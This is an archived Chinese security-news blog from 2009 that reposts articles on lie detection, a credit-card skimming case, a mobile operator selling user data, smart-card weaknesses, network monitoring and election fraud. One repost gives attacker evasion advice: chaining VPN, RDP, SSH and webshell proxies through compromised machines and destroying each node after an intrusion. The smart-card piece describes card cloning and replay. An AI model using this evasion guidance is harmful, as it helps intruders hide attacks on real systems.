　　德州奥斯汀大学校的心理学家詹姆斯・潘尼贝克（James Pennebaker）编制了语言获得和词汇计数（Linguistic Inquiry and Word Count ，LIWC）程序来进行书写内容的测谎分析。这套软件遵循了书面语的辨谎准则：首先，说谎者会减少第一人称的使用，叙述过程与自我有关的内容大大减少，以便推卸掉事件的主要责任。说谎者的文章还会掺杂仇恨，哀伤等负性词汇，透露出他们内心的紧张和负罪感。最后，说谎者很少使用 "除非"、"但是"、"没有"这样司空见惯的排除性词汇，撒谎让他们丧失了使用更复杂语言的能力。这套LIWC测验方法的准确性大大超过了测谎仪，正确率可达67%的。

　　艾克曼的慧眼识谎

　　计算机并非唯一揭开谎言奥秘的利器。人们相信，训练有素的观察人员一样可以准确分辨谎言和真相的细微差别――就像《千谎百计》里面那些专家一样！

　　美国心理学协会（APA）为FBI组织的工作坊就负责教授在刑事案件中如何侦测谎言。学员们不仅要学习如何甄别谎言，也要学习认知偏差和记忆策略等基本的心理学内容。艾克曼指出，并非每个谎言都有可辨识的特征，但例如在可脱口而出的问题上要思忖半天，抑或情绪反应不符合言语内容的情况还是比比皆是。培训的目的是培养学员找到谎言的"突破口 "，并强调基于被观察者的人格特点等背景进行判断。艾克曼要求询问者能够和被观察者建立良好的关系，"当人们敞开心扉的时候，才会讲出他们的故事。"

　　《千谎百计》里面的瑞・托雷斯（Ria Torres）是个天生懂得"察言观色"的好手，不经过训练就可以洞察说谎者细微的表情变化。现实生活中，艾克曼联手旧金山大学的莫琳・奥沙利文（Maureen O'Sullivan）博士也找到了一些在人群中凤毛麟角的天生辨谎高手进行培训。他们当中的可通过本文提到的策略辨别真伪，另一些则可通过其他的方式对人们的言谈举止识别谎言。经过训练的人是否也能达到这些天赋"谎能"者的水平？奥沙利文的答案是，这和奥运会一样，有的人轻易可以跑进10s，有的人再怎么练也遥遥无望，"最终的能力还是个人素质和训练能力的综合作用。"

　　在艾克曼看来，好的辨谎专家应当是优秀的直觉心理学家。他们能准确判定人们在各种状况下的所知所想，并能寻觅到这些想法在行为上的蛛丝马迹。当然，辨谎的最终目的还是寻找真相，"发现真相比发现谎言要难得多。一个好的辨谎者应当更加擅长识别真相。"艾克曼如是说。

初中游民伪造信用卡套90万称银行卡科技含量低

2009-03-28T02:04:00.001-07:00

　　声称"现在中国的银行卡科技含量很低"的27岁陕西无业人员白军，串通酒店收银员，复制客人的信用卡信息，伪造出多家银行的信用卡，刷卡套现90余万元。昨天上午，朝阳区法院开庭审理了以白军为首的7人诈骗犯罪团伙(如图)。据悉，这是本市首例从源头起查获的此类案件。

　　"我是从电视上看到一个关于盗刷信用卡后套现的案例，也想试着做一下。后来我发现"磁卡数据采集器"网上到处都是，于是就买了几个。"法庭上，只有初中文化的白军详细讲述了策划这起大案的过程。

　　2007年下半年，白军先后在广东、北京等地购买了"磁卡数据采集器"、"读写卡器 "、空白磁卡等制造伪卡的工具。随后，白军找到广东东莞市三名酒店收银员。在给客人刷卡结账时，他们偷偷利用"磁卡数据采集器"窃取客人的信用卡磁条信息，后提供给白军用于制作伪卡。伪卡做好后，白军通过网络找到可以提供POS机刷卡套现服务的张某等三名被告人。"套现所得的现金，我拿一半，剩下的他们分。"

　　据了解，被白军等人套用的信用卡中，以广东发展银行的居多，此外还有建设银行、交通银行、招商银行、工商银行、中国银行的。白军说，现在中国的银行卡都是磁条存储信息，科技含量很低。除了信用卡外，普通的银行储蓄卡如果知道密码同样可以被制成伪卡，只要有磁条就可以。

　　来源：北京晨报

法定证明山东移动贩卖个人信息属实可认其犯罪

2009-03-24T03:19:00.001-07:00

　　PS:没《隐私法》的后果……政府不加以立法，隐私泄露事件将屡屡发生。

据《北京晚报》报道,今年中央电视台的3・15晚会对山东省内移动公司以盈利为目的,大量发送商业广告短信的行为进行了曝光.更为恶劣的是,移动公司还出售用户信息给垃圾短信群发公司.央视记者暗访发现,济南移动公司将用户信息出售给"代理商",并让有发送垃圾短信需求的客户通过该公司发送垃圾短信.据移动公司"合作伙伴"介绍,所有的信息资料都来自移动公司,通常是直接"购买".

　　移动公司如此行为让人"胆战心惊"――用户平时填写的资料时候并不曾想到居然还有如此不良后续行为发生.那么,山东移动等一些移动公司的行为是否涉嫌犯罪?法律方面应该如何杜绝垃圾短信产生?用户应该如何应对自己信息被作为商业信息贩卖的事实?针对此类问题,本报记者采访了着名法律界人士、北京邮电大学网络法律研究中心主任刘德良,他认为,山东移动贩卖个人信息如果得到法定证明属实,那么毫无疑问其构成了刑事犯罪行为,同时,面对猖獗的垃圾短信,必须在法律上确立个人信息财产权,才能增加不法分子的侵权成本.

　　为杜绝个人信息随意被滥用,司法介入山东移动事件有其必要性

　　据央视"3・15"晚会披露,山东移动贩卖个人信息,情节更为严重的是,大量失控的个人信息在互联网上被倒卖,最后落入不法分子手中,成为他们进行敲诈、恐吓和诈骗犯罪的工具.

　　原以为去年"3.15"央视曝光垃圾短信问题后,将大大消灭垃圾短信的"士气",没想到今年反而更猖獗了,而且源头居然是运营商.不过,庆幸的是,2月 28日我国通过并施行的《中华人民共和国刑法修正案(七)》,明确指出电信单位的工作人员,违反国家规定,将获得的公民个人信息,出售或者非法提供给他人,情节严重的,处三年以下有期徒刑或者拘役;单位犯罪的,可同时追究单位和相关负责人员的刑事责任.

　　因此,表面看来,套用这条法律条文,用户正当权益将得到伸张.不过,刘德良告诉记者,被央视曝光的山东移动公司向出售手机用户信息的行为,基本符合该修正案的规定,关键因素集中在是否属于"情节严重"和行为是否发生在"刑法修正案七"出台之前,还有就是是否消息获得为中移动一家提供.而且,山东移动本次被曝光的行为,不能被确定为就是犯罪,要认定其犯罪还需要法定证明,只有法定证明有山东移动确实存在这些行为,那么毫无疑问其构成了刑事犯罪.

　　"从目前媒体报道情况来看,山东移动影响面较广,工信部和中国移动公司已经着手处理,但这些都不能作为判断其是否犯罪依据,最重要的是需要司法机关介入调查."刘德良说,而面对现在这种情况,刘德良认为,非常需要司法机关及时跟进,这既是广大公众的殷切期待,也是刑法新规实施的绝好机会,同时,还可以尽早检验刑法新规的科学及完善程度,以便于通过立法或司法解释弥补不足,实现立法目的.

　　事实上,通过之前研究,刘德良已经认为,现在的《中华人民共和国刑法修正案(七)》暴露出一些理论弊病,例如关于个人信息问题是否可以被披露,他认为正当程序是可以的,法律重点应该治理的是运营商披露的后续滥用用户信息行为,例如,贩卖用户信息这种行为就是违法的.

　　确立个人信息财产权属性是防范此类事情发生关键

　　事实上,此类事情在中国之所以猖獗,主要是源于中国法律制度和法律理论.刘德良告诉记者,现在对于个人信息问题,我国法律更多判断为个人隐私权,隐私权属于人格权,一旦受到侵害,我们顶多要求侵害方给予道歉、消除影响、赔偿精神损失等措施,并进一步要求其停止伤害,以后不能再犯此事.

　　然而,像垃圾短信这类事情是很难证明自身是否受到侵害,用户取证非常困难,造成的后果是用户维权成本大,一般都还很难赢,这也是很少用户会起诉垃圾短信骚扰的一个原因,所以,这就是间接纵容了此类事情发生,"因此,当前将个人信息定为隐私权或人格权制度并不能阻止信息搜集者和滥发信息者继续实施侵权行为."刘德良说.

　　刘德良认为,既然垃圾短信的发送者窃取了个人信息的商业价值,那么就应该在法律中承认个人信息的商业价值是私有财产,这样,以商业目的擅自使用个人信息就是一种财产侵权行为."如果有了这种法律保护,对于那些侵权者而言,即使他们可以从公开渠道获取个人信息,但未经个人许可,也不得基于商业目的使用,否则就是一种财产侵权行为,就应该承担财产责任,这样其侵权成本就会加大,客观上就能够起到预防和减少信息滥用行为的发生,垃圾信息问题也将得到有效的遏制."

　　文/《通信信息报》

什么样的跳板才是安全的？

2009-03-23T23:41:00.001-07:00

　　From: http://www.slenk.net/blog/?p=182

IP地址就跟门牌号似的，把别人的门牌号盗窃过来使用，一定程度上降低了暴露自己的几率。

　　依赖别人的网络很被动，每个节点路由器，经过一次都有点痕迹，所以偷窃一个门牌号是不够的普通的门牌号也是不满足需求，我们需要有加密技术的通讯方式。

　　单纯使用一个代理是会让自己很快暴露出来，路由器会记录请求的源地址、远程地址，而这些信息又会暂时的被保存起来。

　　单纯的使用同一个加密协议，数据也有可能会被人一对一的还原起来。

　　几个代理：

　　VPN是个不错的代理选择，但是如果这VPN服务器你不能控制，日志你不能删除，没有要求加密类型强烈建议不要使用；如果这个VPN分配的是内网IP，在渗透重要目标使用了，必须销毁此服务器；如果这个VPN分配的外网IP，在一定程度上增加了隐蔽性，但是扫描此Ip的同段网络开放的1723{默认的VPN端口}，那么还是很容易就可以确认到傀儡机器，这个时候是有必要修改VPN服务端口号来增加隐藏性，慎重起见，在渗透后，不论成功不成功，销毁VPN服务器；VPN在和服务器断开的时候，并不会马上断开VPN连接这个时候会有个try过程，用本机发送数据包确认是否断开，而发送数据包的IP地址正是本机IP，这个是个不大不小的问题，可配合多个代理来解决。

　　WIN远程终端服务，俗称3389，默认的3389登陆还是不安全的，很容易被sniffer,cain是其中一个软件，可轻易获取rdp远程登陆信息，如果不嫌弃麻烦就使用SSL加密来登陆远程3389，同样在渗透完毕的时候，销毁此服务器对于一个很有财力、权势的集团来说，痛击攻击行为是会投入很多精力，销毁每一个使用过的节点是明智的选择。

　　SSH的转发，SSH协议加密强度还是过得去，运行也稳定，防火墙对SSH基本放行。

　　WEBSHELL的转发，reDuh是个不错的转发程序，可参考本博关于此程序的转帖：http://www.slenk.net/blog/?p=109在穿墙，轻便方面有优势，但是在稳定方面就需要再改进。

　　代理原则：

　　代理应该选择多种方式，并且分布范围同一地区的代理数不超过2个，留的痕迹与暴露几率是成正比的。

　　推荐代理套件：

1、VPN

2、3389

3、SSH转发

还是�嗦几句，渗透完毕，不论成功不成功，回想下过程，把每个节点的傀儡机器销毁掉，留的痕迹与暴露几率是成正比的。

智能卡安全初探

2009-03-23T23:10:00.000-07:00

From: http://www.sinoutopia.org/wp/?p=1918

今天一早，手机订阅的手机报上面就有一条新闻《一卡通“刷”进超市》。一直以来，对智能卡的安全都有所关注，最近也正好多看了些这方面的内容，就乘这个机会把相关的想法整理记录下来，与大家分享。

智能卡的种类非常多，如果按照存储方式来划分的话，主要由磁卡、IC 卡、异型卡（比如说那种打孔的大学食堂饭卡，这种名称是我自己随便定义的）等。

在这几种卡理存储量最大的是 IC 卡，磁卡和异形卡存储的数据都很少。异形卡一般只存储了用于标识自己的标识信息（序列号）；磁卡一般保存了标识信息、少量的附加信息（简单的帐号信息、以及校验信息）；IC 卡保存了标识信息以外往往还有很多附加信息。目前，在国内使用得最广泛的智能卡系统就是磁卡，其次是 IC 卡，而异型卡基本上只在特定的领域才有使用。

保密性

由于各种智能卡的主要用途是用来识别用户的身份，因此，对于智能卡而言，CIA 中的“保密性”必然是最重要的了。

由于异形卡保存的信息完全是编码后保存在卡片的物理结构中，其实这种原理类似于传统的钥匙。只要有人能够拿到这种异形卡的图像信息或者物理接触卡片，就可以完全复制卡片中存储的标识信息。如果缺乏其他的手段，异形卡的数据几乎无法保障数据的保密性，复制卡片将难以避免。（扩展阅读《通过照片盗取钥匙易如反掌》）。

磁卡保存的信息是保存在卡片背面的磁条上的，由于现在的磁卡（主要是银行磁卡）基本上都满足 ISO7810 系列标准的相关要求，因此只要以非常低廉的价格购买到读写设备，就能完全复制卡片中的所有数据。当然，以现在民间的技术，对磁卡的读写操作是必须物理接触的。因此，只要能物理访问到磁卡，磁卡的保密性就难以得到保障。如果缺乏其他的手段，磁卡中数据的保密性几乎无法保障，复制卡片将难以避免。（扩展阅读《磁卡的基础知识》、《中国建设银行储蓄卡卡号编码规则和磁条数据格式标准》）

而对于 IC 卡而言，基本上可以分为接触式的 IC 卡和非接触式的 IC 卡两种。接触式的 IC 卡大家见得最多的可能就是 IC 电话卡，非接触式的 IC 卡大家最常见的就是二代身份证和公交一卡通。IC 卡中有一类是只存储了用于标识卡片的序列号，这类 IC 卡通常被成为 ID 卡，而另外一类 IC 卡存储空间较大，而且能够实现一定的算法，通常被成为智能卡或 IC 卡。例如充值类的 IC 卡，比如电卡、IC 电话卡都是接触式的智能 IC 卡，门禁卡一般是非接触式的 ID 卡，二代身份证和护照一般都是非接触式的 IC 卡。ID 卡一般是只读卡片，卡内存储的数据只有一个由厂商写入的 ID 号，而这个 ID 号非常容易被复制（通过模拟电信号的方式实现）。而智能卡的数据读取和写入一般都通过密钥控制，甚至每个扇区都有相应的读密码和写密码。

目前，这方面已经有很多相关的研究成果，攻击者可以通过逆向工程的方法猜测 IC 卡中存储的密钥数据，这种思路来自于针对移动运营商 SIM 卡的攻击方法。一旦攻击者获得密钥数据，就可以对卡片进行复制和篡改。这种攻击已经非常广泛的流传开了～（扩展阅读《How they hacked it: The MiFare RFID crack explained》、《RFID hack could crack open 2 billion smart cards》、《Students’ Subway Security Talk Canceled by Court Order》、《Cryptanalysis of Crypto-1》，前段时间说到的对于护照的破解，并不是指出入境的护照。）

完整性

异形卡只要通过改变形状被改变卡片所存储的数据，如果在整个体系中缺乏其他的手段，异形卡所保存的数据几乎无法保证完整性。目前的解决方案通常是通过设置校验位来检测数据损坏。由于异形卡通常记录的都是只读数据，因此除了标识符以外，很难保存其他数据，因此可以通过某种加密的方式对数据进行加密，增加伪造卡片的难度。

同样，由于非常容易读取和修改磁卡中保存的数据，因此磁卡中数据完整性也完全依赖于整个体系中的其他手段，除非利用密码学提供的方法来保障磁卡中的数据安全，否则将很难以避免数据被篡改（《中国建设银行储蓄卡卡号编码规则和磁条数据格式标准》中描述的 CVV 就是一个非常好的防伪造、防篡改的方案）。但由于磁卡非常容易复制，在磁卡中存储类似余额这样的数据将无法得到安全保障（可以将消费前的磁条数据完全复制下来，消费完成后再将数据写回磁卡）。

对于 IC 卡而言，读写权限都依赖于密码，目前在已知攻击方法都是针对密码的攻击。在破解密码之后，再对 IC 卡内的数据进行完全复制或篡改。除此之外，尚未发现其他的攻击方法。

可用性

由于除非接触的 IC 卡以外，其他的智能卡几乎都是接触式的，而对于接触式的智能卡而言，除物理或电气损坏的方式以外，几乎没有有效的影响可用性攻击方式。对于非接触式的 IC 卡而言，主要的影响可用性的攻击方式是针对数据链路层的攻击（非接触式的 IC 卡通常符合 ISO14443、ISO15693、15693 等标准，使用固定的无线电频段，而 IC 卡发出的无线电信号非常微弱，因此无线电频率的阻塞可以有效的进行拒绝服务攻击），也有一些利用 IC 卡自身安全特性的拒绝攻击（例如二代身份证据说有一个安全特性是磁场场强超过一定程度，二代身份证将自我保护，避免远程读取。另外通过暴力尝试接触式的 IC 卡的密码，诱发 IC 卡的安全机制导致 IC 卡自毁，从而实现拒绝服务攻击）。

PS：这篇文章已经太长了，先到这里，都是自己从各个渠道获得的信息整理而来，主要的目的是共享和备忘。如果有文中描述的内容有误，请大家通告一下，我会修改这篇文档。后面可能会写针对二代身份证和市政交通一卡通安全问题和解决方案的文章。

网络监控的原理与技术

2009-03-23T22:36:00.001-07:00

　　From: http://www.hackddos.com.cn/article.asp?id=614

　1．硬件

　　尽管有一些产品需要特殊的硬件，但大多数的产品工作在标准的网络适配器上。如果用的是特殊的网络适配器，就能分析例如CRC错误，电压错误，电缆问题，协商错误等。

　　2．捕包驱动

　　这是最重要的部分，它从线路上捕获网络通信，并根据你的需要进行过滤，接下来将它存储在缓冲区中。

　　3．缓冲区

　　一旦从网络上捕获数据帧，它们被存在缓冲区中。存在几种的捕获方式：捕获通信，直到缓冲区被添满，或用循环的缓冲区，就是用新的数据替代老的数据。有一些产品（就像BlackIce的Sentry IDS）能以100兆比特秒的速度在硬盘上维持一个循环捕包的缓冲区。这将允许你拥有数百个成G的缓冲区而不是基于内存的不足1G的缓冲区。

　　4．实时分析

　　这个特性是网络监控所倡导的，就是在数据帧离线进行一定的分析。这能发现网络性能问题和在通信捕获中的错误。一些厂家正沿着这条路线在它们的产品中加入一些新的功能。网络入侵检测系统就是这样做的，但是它们是对于通信中黑客的行为标记进行详细的审核而不是对错误/性能问题进行处理。

　　5．解码

　　就是显示网络通信的内容，这样一名分析者将会十分容易地获得相关信息并依据这些信息分析出网络上究竟发生了什么。

　　6．包编辑/转发

　　有一些产品具有这样的特性，就是使你能编辑自己的网络包，再转发出去。

　　可见，数据捕获部分又可以分为硬件实现部分和软件实现部分，硬件部分就是相应的计算机的网络接口设备，软件部分有许多的开放源码，例如着名的libpcap以及其在Windows平台上的应用版本Winpcap等。

　　协议分析是对于获取的数据按照TCP/IP的标准进行重组和解剖，将满足应用功能的数据交给应用功能部分。例如，在为了记录WWW通信中的URL，必须将获取的数据解析到应用层。

　　应用功能部分则是根据监控目的的不同，具有不同的实现，在内容监控中，对于不同应用协议监控的实现功能是不同的。

总之，实施网络监控首先需要收集网络中的通信数据。收集通信信息的工具很多，例如嗅探器、信息包捕获器（如tcpdump）等。

与同样基于网络监听技术的入侵检测系统相同，网络监控系统在收集网络数据时本着只收集有用信息的原则，这样就能减轻其通信分析的负担。某些计算机入侵检测系统，如NFR Security的NID以及 http://www.iss.net/ 的RealSecure。

收集网络中的通信数据时，要着重明确一点：只收集有用的信息，且信息量要尽可能少。但是在实际应用中除非网络通信量很小否则这种方式的实现十分不易。在网络监控系统中可以通过对于网络数据的多层过滤来实现数据处理量的精简。譬如在内容监控系统中如果仅仅需要监控基于TCP的应用，则可以首先过滤掉其他无须处理的数据包。

加强网络监控的功能不仅需要减少网络监控系统的数据处理数量提高其处理的效率，而且由于监控的目标范围不同，其所要收集的网络通信中数据范围自然也就不同。

例如，对于某一指定的服务器进行监控，则将监控系统放到离该服务器越近越好，这样网络监控系统尽可能不遗漏与该服务相关的一切通信数据，提高监控的效果。

对于一段局域网进行监控的时候，关注网络边界的情况很重要，但网络内部的通信也不容忽视，特别是当内部网的主机为内部提供未经授权服务的时候。这时网络监控系统的放置位置需根据实际情况而定。因此，网络监控系统的功能的强弱不仅仅和其实现直接相关，而且和网络监控系统的布置密切相关。

　　网络监控和防火墙这类访问控制软件不同，它是作为网络上的监视者而存在的，因此它不应该阻止网络的通信，因此网络监控和入侵检测系统一样，采用的是网络监听技术（也可以称为是网络嗅探技术）来获取基本的网络通信的数据，并在此基础上实现对于数据的进一步的分析。

深圳破获首宗利用互联网贩卖走私手表案

2009-03-23T21:32:00.001-07:00

　　From: http://www.cnbeta.com/articles/80049.htm

PS:淘宝是一个不错的走私平台，交易安全没得说！

　　记者23日从深圳海关获悉,在深圳海关缉私警察破获的首宗利用互联网贩卖走私手表案件中,共有3名走私犯罪嫌疑人落网,现已核实涉嫌走私的海外名牌手表达1733块,案值约1584万元,偷逃税款508万元。

　　这宗案件的破获是去年7月底完成的,在此之前深圳海关缉私警察已进行了长时间的追踪调查,证实该团伙在网上注册了店铺,专门销售走私手表。

　　据介绍,案中主要人物有何某和劳某。何某通过互联网接收订单,货款到位后,安排"水客"将货款带到香港交给劳某。劳某负责在香港购买手表,雇佣"水客"将购买的手表走私入境并交给何某,何某再通过网上注册的网店将走私入境的手表销售到全国各地。每次销售后,由何某制作汇总表列明走私手表的香港实际进货价、折扣率、内地销售的实际价格、销售利润等资料,凭此汇总表统计的走私所得利润,劳某与何某再按比例分成。他们下单、议价对账等过程都是通过电子邮件及QQ对话来完成的。他们也不需与客户直接见面,客户支付等环节均通过网络完成。

　　由于此案绝大部分犯罪事实都发生在互联网上,与境外的联系和销售首付款,都是通过网上合法的交易平台进行,使海关查处工作遇到严峻挑战。走私入境的手表通过网络销售到了辽宁、吉林、河北、北京、山西、山东、湖北、上海等地,客户在网上联系都利用虚拟的网名,取证范围广,增添了海关调查的难度。

　　针对走私分子利用网络销售走私货物的新手法,深圳海关将建立黑名单制度,对重点人员实施重点查验,提高查验准确率和有效率;同时增强敏感性,密切关注红酒、手表等境内外差价大的重点敏感商品的进出口情况,加强风险分析力度,及时打击走私活动。

Facebook 更新隐私设置，促进信息公开

2009-03-22T21:37:00.001-07:00

　　PS:这一年，个人隐私安全显得很重要，Web 2.0网络服务提供者越来越重视。但中国，隐私一毛不值，随意出售的现象无处不在。

　　今天，Facebook 推出新的隐私设置，用户可以对个人信息的公开进行配置。根据公司网志，这意味着其他用户不必添加为好友也可以查看你公开的个人信息。

　　对于公众人物，这次更新可以用来与更多的人建立联系。但这些用户可选择的隐私设置与 Facebook 新的"公开主页"（Public Profiles）不同。上周我们试用了这个公共页面功能，发现还有一些问题。

　　事实上，它只是对商业或大型组织有用。相对于公开主页，新推出的隐私设置是个人永固更好的选择。在用户个人页面上，可以指定以下信息是否公开：个人主页、状态和连接、涂鸦墙、基本信息、个人信息、学所信息、工作信息、你的图片和视频。

　　http://dl.getdropbox.com/u/358684/picture/4website/fbsetting.png

　　配置之后，其他人可以通过搜索结果，或你的此人好友处留言，点击查看你的公开信息。总之，用户可以任意选择或公共具体哪些信息。

　　对于这项新推出的设置非常有用，但需要说明的是，它并不允许单向好友，即某个用户和另外一个人需互相加为好友，才可以跟踪（follow）消息。对于那些名人或乐于公开个人信息的用户，这个方案并不能满足他们的要求：向某一群用户公布实时动态（News Feed）更新，同时保留部分隐私。因此，唯一可以求助的还是分离而难以维护的"公开主页"。

　　但可报以希望的是，Facebook 仍在考虑实施真正的单向好友，这样个人就可以公开共享内容，同时对想要跟踪信息的用户群发布信息。而这次推出的隐私设置正在向这个方向行进的第一步。

阿根廷农民罢工引发粮食价格上涨

2009-03-22T19:56:00.001-07:00

PS:金融危机导致局部国家动荡不安，中国，金融危机是否？看上去不太可能，尤其是体制内。

　　粮食价格本周将进一步上涨，因为阿根廷日趋紧张的农场罢工令进口商担忧，并令全球股市承压。

　　到上周五午夜为止，阿根廷农民暂停了谷物、油籽和牛肉的销售。此前，阿根廷政府拒绝了他们提出的关于削减大豆出口关税35%的要求，反而通过与该国各省分享税收收益，寻求政治支持。

　　阿根廷是全球第二大农产品出口国，对于中国等进口国而言，每年这个时候，该国的大豆和玉米销售都至关重要。在美国的收获季节到来之前，这些国家会转向阿根廷和巴西进口农产品。

　　昨日，在阿根廷北部和中部约60个地区，农民纷纷举行抗议，并设置分散的路障，有时会迫使卡车倾倒运载的货物。

　　罢工引发的担忧导致芝加哥大豆价格上周上涨近8%。小麦、玉米和肉类价格也出现上涨。

警惕“代刷主题推广数据”、“账号收购”骗局！

2009-03-22T19:50:00.001-07:00

PS:有效的DDOS拒绝服务，合作不成，你也别想好过。同样地，任何的网站都存在最简单的DDOS攻击，来自GFW的攻击，嗨！你猜到怎样做到的吗？

From: http://hi.baidu.com/bdadd/blog/item/0bc7e4503411ec541038c2e7.html

我们发现近期有人以提供seo流量进行主题推广合作、收入保底、利益共享等华丽幌子骗取联盟会员与其进行账号收购、代刷主题推广数据等违规合作，最终导致联盟会员账号被封禁、利益受损，进而无法继续与百度联盟进行正常合作。

敬告广大联盟会员，请勿轻信任何非官方承诺！请勿尝试任何违规行为！否则您的利益将因此可能受到损失！

军犬网络舆情监控系统

2009-03-22T19:44:00.001-07:00

PS:是不是有点太明目张胆了？

"风起于青萍之末"。公共危机事件舆论的形成与发展，是一个由议论开始，并沿着若干级差从无序向有序逐渐递进或者消减的过程。公共危机事件爆发时，犹如以石击水，常常容易引起群众的广泛关注，使得有关信息在短时间内迅速传递，单位时间爆发出来的信息量很大。一些非理性议论、小道消息或负面报道常常在一定程度上激发人们普遍的危机感，甚至影响到群众对党和政府的信任，网民对事件的关注与反响令当地政府部门震惊不已，政府部门承受着巨大的舆论压力。对于企业来讲，负面信息的肆意传播和缺乏必要的风险预警手段，会影响到企业的品牌和发展，甚至会给企业带来毁灭性的打击。因此及时监控、汇集、研判网上舆情，是引导危机舆论的重要前提。

目前，网络舆情正在成为政府行政部门或者企业决策的重要依据。因此新形势下，在每次突发性事件发生后，政府和企业相关职能部门如何以最快速度收集网上相关舆情信息，跟踪事态发展，及时向有关部门通报，快速应对处理等，是一个亟需解决问题。

如何第一时间了解到"与我相关"的重大事件？
如何能准确的收集到"我最需要"的舆情信息？
如何能不留死角的在全网监控到这些舆情信息？重要的信息"不漏报"!
如何防止网上"神不知、鬼不觉"的事情发生？随时知道网上在"干什么"！
如何防止网上有害信息泛滥传播和舆情失控，防止他们形成气候?
如何追溯网上重点内容的传播途径？互联网舆情能"查得清"!
如何预判这些舆情信息的未来走势？
如何有效引导，以及对网络舆论危机的积极化解？
如何应对网络突发的公共事件?
如何全面掌握社情民意?
如何为上级相关部门推送网络舆情简报和专报？

中科点击（北京）科技有限公司基于自主知识产权、自主研发的核心技术，通过对政府、企业舆情监控系统实际需求的深入调研，结合中科点击公司对互联网舆情管理业务的深刻认识和多年的实践经验，适时推出了军犬网络舆情监控系统，并在众多的国家政府机构（政策研究室、外宣办、网宣办，政府办和网络管理处）以及大型企业得到了广泛应用。通过成熟的网络舆情监控工具，结合完善的领导体制和工作机制保障公共危机事件网上舆情得到妥善处理。全面分析网络舆情发展趋势，提供基于网络舆情监测的决策参考和风险预警。在提供舆情监控系统产品的同时，中科点击公司在舆情监控领域有着了丰富的业务积累和实施经验。为政府、行业主管部门和企业提供先进的舆情监控系统和服务是中科点击人光荣的使命和任务。

公关公司伪造撤稿函要求删除圣元奶粉负面新闻

2009-03-22T19:42:00.001-07:00

一些公司利用人们对媒体的和媒体之间信任，自称是媒体工作人员，并以媒体名义伪造公函，要求删除稿件。17日上午，华商网就受到了这样的传真，要求删除《东方早报》关于圣元奶粉的负面新闻

中国移动，日进3亿

2009-03-22T19:35:00.001-07:00

PS:移动很强大，强大到出卖你的隐私为生……

From: 爱枣报
前几日，中国移动公布了去年的业绩：日均3亿。非常之骇人的收入，在高额利润的背后，是怎样一个错综复杂的利益链？垃圾短信，诈骗电话、座机费、漫游费还是色情服务？

对于中央电视台"3.15"晚会报道的山东垃圾短信事件，移动的初步调查和处理结果为：山东移动部分分公司存在违规发送垃圾短信的事实。

嘿嘿，好玩啊，虽然3.15曝光了，但是，垃圾短信并没少多少。这不，老虎庙半夜收到了个黄色短信，于是他较了个真，跟踪了下移动WAP业务的，下面是视频。

这次老虎庙脾气倒吧得分两面，第一，这该死的垃圾短信是谁发的。第二，这WAP网站吧，就是在视频中提到的sichunwap.com是在北京机房里面。

您查询的IP:210.51.15.95
本站主数据：北京市通泰大厦网通IDC
参考数据一：北京市通泰大厦网通IDC
参考数据二：北京市通泰大厦网通IDC机房

这个，归谁管呀？

报告称俄罗斯情报机构与网络攻击有关

2009-03-22T19:28:00.001-07:00

From: http://internet.solidot.org/article.pl?sid=09/03/22/1339258

Greylogic的网络安全研究人员公布的一份报告认为，俄罗斯的情报机构可能参与了2008年的格鲁吉亚网络战。报告称，有极大的可能性，俄罗斯对外情报总局（GRU）和联邦安全局（FSB）在2008年7月和8月对格鲁吉亚政府服务器发动了直接攻击。 通过一系列复杂的网络连接分析，报告声称，一个与Stopgeorgia.ru（该网站协调了对格网络攻击）网站有关的ISP就位于俄罗斯国防研究所 Center for Research of Military Strength of Foreign Countries的隔壁。但其他阅读过报告的研究人员认为这个结论可能言过其实，有些武断。

肯塔基州6人利用“社会工程学” 非法操控电子投票机

2009-03-22T18:54:00.000-07:00

来自美国肯塔基州的6位公民因涉嫌操控电子投票系统的选票数量遭到起诉，据这些家伙事后承认他们使用的不是什么高科技黑客技术，而是过时的"美国南部魔术"。据悉这些人在02，04，06年的肯塔基州政府选举中都对选票数量进行了操纵。

此团队包括5名官方人员（包含2名选举官员）和一名非官方人员，他们被控告的罪行包括非法操控电子投票机的总票数，非法操纵选举活动，并安排对选票进行出售。

但是引人注目的是，他们所使用的操纵选票的技术基本上是利用简单的UI设计漏洞进行攻击，与复杂难懂的电脑技术没有任何关系，他们所使用的都是"低技术"的手段。

投票机器主要通过以下几个步骤进行：
1.检查后再使用触摸屏找到你的候选人
2.按下屏幕上的"Vote"（选票）按钮
3.最后回顾一下已经选择的候选人名单，确保你无需再做任何改变。
4.通过"Cast ballot"按钮进行投票

当然这样还不能完成作弊行为，其中的两个家伙（选举官员）告诉其他投票者按下"Vote"键就是投票键，使得这些人按下这颗按钮后即走开，但是实际上他们的选票还没有投出。等到这些人离去之后，这两人随后走到投票机处，更改他们的选票然后投出去。他们所使用的是古老的"社会工程学"。

cnBeta编译自ARS

调查:超过60%的前雇员都带走公司的机密材料

2009-02-24T18:47:00.000-08:00

Ponemon Institute的一份调查结果可能会令部分公司担忧，有超过60%的参与调查者承认，他们解职离开公司时会带走公司的机密材料。研究员对945位在过去12个月里曾经更换工作或者被解雇的人进行调查。在拿走资料的人中，有59%的人曾带走email列表。

在这份调查中，45%的人曾带走非涉及财政的商业信息，39%的人曾带走客户信息，35%的人曾带走雇员记录，仅有16%的人曾带走财政信息。（一人可能带走多种材料）

在信息介质方面，在带走资料的人中，61%采用纸质的形式，53%的人刻录成光盘，42%的人采用USB介质。（一人可能使用多种介质）

cnBeta编译自DailyTech

藏身于身份牌里的间谍摄像头

2009-02-14T02:28:00.000-08:00

新闻来源:驱动之家
现在一些大公司的员工都会在胸口挂上身份牌，这样可以方便进行身份识别，不过你要当心了，因为也许会有不怀好意的员工在自己的身份牌里暗自内置了间谍摄像头偷拍公司的机密。

AME-105就可以实现这样的功能，这款130万像素并且内置有4G存储空间的摄像头可以轻松得藏身于身份牌大小的卡片里。该款摄像头能够支持AVI H.263格式352 x 288像素15帧规格的视频录制功能，并且可以通过USB接口将录制的视频上传到电脑里。

如果你感兴趣的话，目前只需要155美元就可以入手这款摄像头，。不过需要注意的是一切用途仅限于法律允许范围内。

中宣部加强媒体控制应对稳定挑战

2009-01-11T22:47:00.001-08:00

from:VOA News

贵州瓮安民众怒烧公安大楼

有迹象表明，中国宣传部门将在新的一年里加强媒体控制和舆论引导，为共产党唱响赞歌，以维护官方所说的“社会稳定的大局”。

全国宣传部长会议1月4号到5号在北京召开，为2009年的宣传工作定下基调。会议提出，要着力提高舆论引导能力，营造积极健康向上的舆论环境，维护社会稳定。

